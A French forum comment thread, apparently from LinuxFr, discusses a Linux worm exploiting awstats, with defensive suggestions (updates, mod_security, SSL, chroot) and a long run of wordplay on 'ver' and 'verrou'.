            • [^] # Re: Ce que l'on ne sait pas

              Posté par (page perso) . Évalué à 3.

              Si ces dernières voulaient réellement sécuriser les serveurs qu'elles fournissent, elles pourraient très bien le faire.


              • C'est surtout apache qui a choisi de refuser de prendre un paquet de bugs corrigés par OpenBSD. Donc je ne vois pas pourquoi ce serait plus la faute des distribs que celle d'apache. M'enfin apache (OpenBSD) et apache n'ont plus rien à voir. Je crois avoir lu qu'il y a plusieurs milliers de lignes de code qui diffèrent.

              • De toutes façons, quand je vois que de base beaucoup de monde installe apache pour servir de simples pages html, voire parfois un peu de php... juste parce qu'il a 75% du marché (ou plus je ne sais plus... et je m'en fout). C'est pas les httpd light et sécure qui manquent quand même.

              • Si tu veux installer apache 1.3 officiel (pas OpenBSD) ou apache 2 sur un nux, alors tu peux te tourner vers RSBAC
              http://radionet-libre.ath.cx/radionet/index.php?2005/12/01/8(...)
  • # Traduction

    Posté par . Évalué à 10.

    Vous traduisez "backdoor" par "trappe" ? J'aurais plutôt dit "porte dérobée"... non ?
  • # Libre?

    Posté par . Évalué à 8.

    J'espère que ce ver est libre ou à la rigueur open source... ;)
    • [^] # Re: Libre?

      Posté par . Évalué à 10.

      c'est un ver ouvert qui a ouvert une porte vers ou?
      • [^] # Re: Libre?

        Posté par . Évalué à -2.

        c'est un ver ouvert qui a ouvert (hop, le verrou !) une porte vers ou?
        • [^] # Re: Libre?

          Posté par . Évalué à 5.

          Oui mais si on explique les jeux de mots c'est pas drole.
      • [^] # Re: Libre?

        Posté par . Évalué à -1.

        À moi ! :-)

        "A-t-on trouvé quel verrou l'ouvert ver a vers où ouvert ?"
        • [^] # Re: Libre?

          Posté par . Évalué à 0.

          Toujours pire :

          A-t-on trouvé quel verrou l'ouvert ver vert "houx" a vers où ouvert ?

          Comme dit le grand maitre : c'est exact, j'hère...
          • [^] # Re: Libre?

            Posté par . Évalué à 1.

            C'est le verrou tout vert qui est ouvert ou le roux verrou ?
            • [^] # Re: Libre?

              Posté par . Évalué à 1.

              Reponse: C'est le verrou vert qui est ouvert, le roux verrou esr sur ma roue
          • [^] # Re: Libre?

            Posté par . Évalué à 0.

            Suite du drame :

            "Divers ouverts verrous par l'ouvert ver d'ouverts vers trouvèrent vers où errer"
          • [^] # Re: Libre?

            Posté par . Évalué à 1.

            pouir résumer: il est ou le verrou vert, ou roux verou, ouvert par le vert vers ouvert, et ouvert vers ou ?
            • [^] # Re: Libre?

              Posté par (page perso) . Évalué à 3.

              ça devient compliqué vos histoires, j'ai besoin d'un verre moi...
              • [^] # Re: Libre?

                Posté par . Évalué à -1.

                Il te faut donc un ver ouvert sous-verre !
        • [^] # Re: Libre?

          Posté par . Évalué à 0.

          C'est un pere vers pervers, mais pas sévere comme ses peres, qui persévere
          • [^] # Re: Libre?

            Posté par . Évalué à 0.

            Juste une petite correction.

            C'est un père-vers pervers, mais pas sévère comme ses pairs, qui persévère(nt).

            A moins qu'il y ait un jeu de mots que je n'aurais pas lu...
            • [^] # Re: Libre?

              Posté par . Évalué à 0.

              Non, comme il prend son temps,

              c'est un père-ver pépère.
              • [^] # Re: Libre?

                Posté par . Évalué à 5.

                Ce cher Raymond Devos peut mourir tranquille, la relève semble assurée

                Il se prend pour Napoléon, son état empire.

                • [^] # Re: Libre?

                  Posté par (page perso) . Évalué à 4.

                  C'est bon, il a fait comme tu disais.
                  • [^] # Re: Libre?

                    Posté par . Évalué à 0.

                    j'ai pas vu qu'il était mort, gravement malade, oui, au coeur d'un conflit sordide, oui, mais mort pas encore à ma connaissance;

                    Quelqu'un à des nouvelles ?

                    Il se prend pour Napoléon, son état empire.

                    • [^] # Re: Libre?

                      Posté par . Évalué à 0.

                      Oui, ce concierge de google sait tout sur tous, alors aux dernières nouvelles de ce conceierge, Mr DEVOS Raymond n'est pas décédé.
                      Ariel Sharon non plus ma foi
  • # Petite solution

    Posté par . Évalué à -5.

    Pour contrer simplement ce genre d'attaque, il suffit de forcer l'utilisation de SSL!

    Le ver va faire une requète sur le serveur, celui ci lui répond 302, et...
    c'est tout!
    Le ver ne tentera pas une nouvelle requete sur l'adresse retournée.
    C'est une technique un peu similaire dans l'esprit au greylisting pour les mails!
    • [^] # Re: Petite solution

      Posté par . Évalué à 10.

      Pour contrer simplement ce genre d'attaque, le mieux est de garder son système à jour et de ne pas faire chercher midi à quatorze heure avec des astuces bricolées... faut pas refaire sous Linux les bêtises déjà commises sous windows.

      On peut faire mumuse et essayer de s'adapter à un ou deux worms en sacrifiant des fonctionnalités, mais quand c'est par dizaines, c'est pas viable.

      Plutôt que de faire du réactif de bricolage, mieux vaut mettre son système à jour et appliquer les règles de sécurité raisonnables et éprouvées.
    • [^] # Re: Petite solution

      Posté par (page perso) . Évalué à 2.

      Je prefere rajouter un mod_security.
      Quite a remplir son fichier error.log de "[Wed Feb 22 06:40:54 2006] [error] [client *] mod_security: Access denied with code 403. Pattern match "<(.|\\n)+>" at POST_PAYLOAD [hostname "84.119.114.125"] [uri "/xmlrpc.php"]" !
    • [^] # Re: Petite solution

      Posté par . Évalué à 8.

      L'utilisation de SSL pour HTTPs, si on prend en compte la configuration de la majorité des sites web de la planète n'a de raison d'être que d'empêcher un tiers de comprendre les communications entre le client et le serveur. Ceci ne permet pas d'authentification l'utilisateur, à moins d'utiliser l'authentification SSL par certificat, ce qui n'est pas le cas, et ce qui n'est pas non plus le but recherché par les sites HTTPS (tout le monde doit pouvoir accéder au site, mais les communications doivent être protégées).

      Ainsi, l'utilisateur de SSL permet de se protéger des vers qui ne supportent pas SSL, mais pas des vers qui le supporte. Et à mon humble avis, le support ne doit pas être trop compliqué.

      Donc, activer SSL permet de se protéger de l'attaque virale en cours, mais pas des prochaines.

      De plus, je reviens sur la première réponse qui indique que SSL n'est pas une bonne solution, que la bonne solution est de mettre à jour ses serveurs. Oui et non. Oui, il faut mettre à jour ses serveurs. Non, ce n'est pas la solution, mais plutôt une partie de la solution, car mettre à jour vous protège des attaques connues et corrigées, mais pas des autres.

      Je pense qu'il faut mettre en place plusieurs politiques de sécurité suivant le niveau que vous voulez atteindre.
      La première règle de base est de mettre régulièrement à jour vos services. Ensuite, vous pouvez également vous poser la question sur la diffusion des informations. Le ver exploite une faille dans awstat. Est-ce vraiment utile/raisonnable de diffuser les statistiques de votre serveur web au monde entier ? n'auriez-vous pas interêt à protéger l'accès à cette ressource par l'utilisation d'un mot de passe ?
      Ensuite, si vous voulez une protection élevée, peut-être que l'utilisation du chroot vous y aidera, à la seule condition de ne pas installer pleins d'outils dans le chroot (comme wget), et de rendre très difficile voir impossible la copie de tel outil depuis l'extérieur.

      Tout ça pour dire que vous ne pourrez pas régler vos problèmes de sécurité par 1 solution, mais par une accumulation de solutions, toutes plus ou moins bonnes, mais qui chacune colmate une faille, même minuscule.
    • [^] # Re: Petite solution

      Posté par . Évalué à 5.

      Bof... ça ne corrige pas la faille pour autant.
      Et tant qu'il est possible d'injecter des requetes maison dans les logs du serveur web (même dans le error_log, donc raf de la "redirection vers https") awstats risque de se vautrer lorsqu'on lance l'analyse de ces logs (je ne sait pas si c'est la faille visée par ce vers, mais c'est une faille qui a affecté awstats).

      Je t'accorde volontier que l'accès aux services du backoffice / d'administration du serveur (comme la consultation des stats par awstats ou webhint) devrait généralement être authentifiés et par conséquent, accessible seulement par SSL (parceque l'auth web sur plain http ... hum ...), mais c'est une autre question.

      Je saisis l'occasion pour manifester mon mécontetement à l'égard de nombreuses applications web ultra populaires qui s'offrent le luxe de vulnérabilités critiques tout les deux ou trois mois. On se croirait revenus à l'époque de wu-ftpd !
      C'est choquant de voir autant de failles triviales publiées pour de simples applis web en languages interprétés, lorsque, à l'opposé, les services / applications système écrites en langage casse-gueule sont devenues plutôt robustes (les failles sur ces applis sont de plus en plus rare ou du moins, de plus en plus sophistiquées / subtiles). Voilà qui pourri la sécurité (et la réputation de fiabilité) des serveurs unix, malgré tout les efforts des devs système !

      Il faudrait vraiment que les developpeurs d'awstats, squirrelmail et autre phpmyadmin se ressaisissent, ou arrètent les frais.

      Et en tout cas, je déconseille aux admins d'installer ces logiciels sur leurs serveurs.

      </coup de gueule>
      • [^] # Re: Petite solution

        Posté par . Évalué à -3.

        Perso, je pense qu'il devrait réecrire leur application en Java ;-).

        çà évite une quantité de faille critique sans trop d'effort.
        • [^] # Re: Petite solution

          Posté par . Évalué à 2.

          Pfff. Ca nécessiterait d'installer un serveur avec 4 gigas de RAM et un CPU à 5 GHz pour 3 comptes mails .... Pis JAVA CAPUCAIPASLIBRE!

          Ps: j'ai pas mis les balises mais vous aurez certainement deviné ....
        • [^] # Re: Petite solution

          Posté par . Évalué à 2.

          c'est sûr qu'un truc qui dégage toutes les heures, c'est plus sécure
          enfin aussi sécure que d'arracher le rj45 ou l'alimentation...
      • [^] # Re: Petite solution

        Posté par . Évalué à 1.


        .... pour de simples applis web en languages interprétés, lorsque, à l'opposé, les services / applications système écrites en langage casse-gueule sont devenues plutôt robustes ....


        parce qu'elles servent maintenant de sous-couche aux appli. WEB.
        Bien souvent les grosses/fréquentes modifications s'opèrent sur la couche opérationelle la plus exposée, soit les IHM WEB ! pour moi le problème s'est juste déporté !
  • # d'ou vient il,comment as t'il ete cree

    Posté par . Évalué à -3.

    il y'as pas longtemps on a entendu parler du "premier virus"(rate) pour mac-os
    maintenant on entend parler d'un ver linux...

    *je me demande d'ou vient le ver(qui est deriere) pour cela:
    *je me demande comment la personne a trouve la faille,plus precisement que faut il comme resources materiel afin de trrouver une faille precisement dans ces programmes par fuzzing

Suivre le flux des commentaires

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.